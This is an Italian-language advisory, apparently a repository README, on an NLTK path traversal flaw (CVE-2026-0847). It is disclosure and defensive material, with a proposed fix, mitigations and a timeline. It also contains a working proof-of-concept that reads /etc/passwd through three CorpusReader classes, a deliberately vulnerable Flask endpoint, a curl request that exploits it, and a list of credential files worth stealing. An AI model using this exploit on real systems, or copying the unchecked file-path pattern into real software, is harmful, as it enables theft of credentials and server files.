
Una vulnerabilità nelle versioni di NLTK fino alla 3.9.2 inclusa consente la lettura arbitraria di file tramite path traversal in diverse classi CorpusReader, tra cui WordListCorpusReader, TaggedCorpusReader e BracketParseCorpusReader.
| Campo | Dettagli |
|---|
| ID CVE | CVE-2026-0847 |
| Pacchetto | nltk (Natural Language Toolkit) |
| Registro | PyPI |
| Versioni Affette | <= 3.9.2 |
| Tipo di Vulnerabilità | CWE-22: Path Traversal |
| Punteggio CVSS | 8.6 (Alto) |
| Vettore di Attacco | Rete |
| Complessità di Attacco | Bassa |
| Privilegi Richiesti | Nessuno |
| Interazione Utente | Nessuna |
| Impatto sulla Riservatezza | Alto |
| Impatto sull'Integrità | Basso |
| Impatto sulla Disponibilità | Basso |
| Segnalato il | 4 dicembre 2025 |
| CVE Pubblicato | 4 marzo 2026 |
| Supportato da | Palo Alto Networks / Prisma AIRS |
| Stato | Risolto |
Diverse classi CorpusReader nella libreria NLTK accettano argomenti di percorso file senza applicare alcuna canonicalizzazione del percorso, validazione tramite allowlist o restrizioni sandbox. Quando un attaccante controlla il nome del file del corpus o l'input file — uno scenario comune nelle API di machine learning, nelle pipeline NLP basate su upload e nei servizi chatbot — può fornire un percorso appositamente costruito per attraversare la gerarchia delle directory e leggere file arbitrari sul server.
Questa vulnerabilità è particolarmente critica nelle distribuzioni in rete in cui NLTK elabora percorsi file controllati dall'utente, poiché per sfruttarla non è richiesta alcuna autenticazione o privilegio.
| Classe | File | Stato |
|---|---|---|
WordListCorpusReader | wordlist.py L1–L120 | Vulnerabile |
TaggedCorpusReader | tagged.py L1–L140 | Vulnerabile |
BracketParseCorpusReader | bracket_parse.py L1–L150 | Vulnerabile |
| Altre classi che utilizzano lo stesso pattern di base | — | In attesa di un audit più ampio |
Tutte e tre le classi ereditano lo stesso metodo non sicuro CorpusReader.open(), che non applica alcuna restrizione sul percorso prima di risolvere e leggere l'identificatore di file fornito.
Lo sfruttamento riuscito di questa vulnerabilità può comportare:
/etc/passwd, /etc/shadow e /var/log/auth.log~/.ssh/id_rsa), file .env, token API e file di credenziali cloud possono essere estrattiQueste informazioni sono fornite esclusivamente a scopo educativo e difensivo. Non effettuare test su sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes
from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
root = FileSystemPathPointer("/") # unrestricted filesystem root
target = "etc/passwd" # any sensitive file path
print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])
print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])
print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])
Output (abbreviato):
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
Uno scenario realistico in cui NLTK è esposto tramite un'API HTTP:
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
app = Flask(__name__)
root = FileSystemPathPointer("/")
@app.post("/read")
def read_file():
filename = request.json.get("file")
reader = WordListCorpusReader(root, [filename])
return reader.raw(filename)
app.run("0.0.0.0", 8000)
Richiesta dell'attaccante:
curl -X POST http://TARGET:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "etc/passwd"}'
Risultato: L'intero contenuto di /etc/passwd viene restituito all'attaccante senza richiedere autenticazione.
La vulnerabilità ha origine in CorpusReader.open(). Il metodo risolve il fileid fornito direttamente rispetto al percorso radice configurato utilizzando FileSystemPathPointer.join() senza eseguire nessuno dei seguenti controlli:
..)Poiché FileSystemPathPointer può essere inizializzato con /, un attaccante che controlla l'argomento del nome file dispone di accesso in lettura senza restrizioni all'intero filesystem.
Correzione minima proposta dal ricercatore, da applicare all'interno di CorpusReader.open():
import os
normalized = fileid.replace("\\", "/")
# Block absolute paths
if os.path.isabs(normalized):
raise ValueError("Absolute paths are not permitted.")
# Block directory traversal sequences
if ".." in normalized.split("/"):
raise ValueError("Path traversal sequences are not permitted.")
# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
os.path.normpath(self._root._path)
):
raise ValueError("Path escapes the corpus root directory.")
La pull request di correzione upstream è disponibile su: https://github.com/nltk/nltk/pull/3479
| Azione | Dettagli |
|---|---|
| Aggiornare NLTK | Aggiornare a una versione successiva alla 3.9.2 una volta rilasciata una patch ufficiale |
| Validazione degli Input | Sanificare e validare tutti i valori di percorso file forniti dall'utente prima di passarli a qualsiasi classe NLTK CorpusReader |
| Evitare Percorsi Controllati dall'Utente | Non consentire all'input utente di controllare direttamente o indirettamente l'argomento fileids di qualsiasi CorpusReader |
| Principio del Minimo Privilegio | Eseguire i servizi basati su NLTK con un account utente del sistema operativo ristretto, con accesso in lettura limitato alla sola directory del corpus |
| Containerizzazione | Isolare il servizio in un contenitore Docker o in una chroot jail per limitare il raggio d'azione di un traversal riuscito |
| Patch Ubuntu | Monitorare l'Ubuntu Security Advisory per gli aggiornamenti dei pacchetti a livello di distribuzione |
Aggiornamento tramite pip:
pip install --upgrade nltk
Verifica della versione installata:
python -c "import nltk; print(nltk.__version__)"
| Data | Evento |
|---|---|
| 4 dicembre 2025 | Vulnerabilità segnalata a huntr.dev dal ricercatore hyperps1 |
| Dicembre 2025 | Team di manutenzione di NLTK notificato tramite huntr.dev |
| Gennaio 2026 | Il manutentore di NLTK ha validato la vulnerabilità; premio di divulgazione assegnato al ricercatore |
| Gennaio 2026 | CVE-2026-0847 assegnato |
| Febbraio 2026 | Preavviso di 48 ore prima della pubblicazione inviato ai manutentori di NLTK |
| 4 marzo 2026 | CVE pubblicato su NVD e huntr.dev |
| 5 marzo 2026 | Record NVD modificato l'ultima volta |
| Risorsa | Link |
|---|---|
| Voce NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-0847 |
| Ubuntu Security Advisory | https://ubuntu.com/security/CVE-2026-0847 |
| Record CVE Ufficiale | https://cve.org/CVERecord?id=CVE-2026-0847 |
| Report huntr.dev | https://huntr.dev |
| Pull Request di Correzione | https://github.com/nltk/nltk/pull/3479 |
| NLTK su PyPI | https://pypi.org/project/nltk/ |
| Path Traversal di OWASP | https://owasp.org/www-community/attacks/Path_Traversal |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html |
Questo repository documenta la CVE-2026-0847 esclusivamente a fini educativi, di ricerca e di sicurezza difensiva. Il codice proof-of-concept e i dettagli tecnici sono forniti per assistere sviluppatori, ingegneri della sicurezza e amministratori di sistema nella comprensione, valutazione e correzione di questa vulnerabilità.
Qualsiasi utilizzo di queste informazioni per accedere a sistemi senza esplicita autorizzazione è illegale e non etico. L'autore non si assume alcuna responsabilità per l'uso improprio delle informazioni contenute nel presente documento.
Contributori @mohitf070304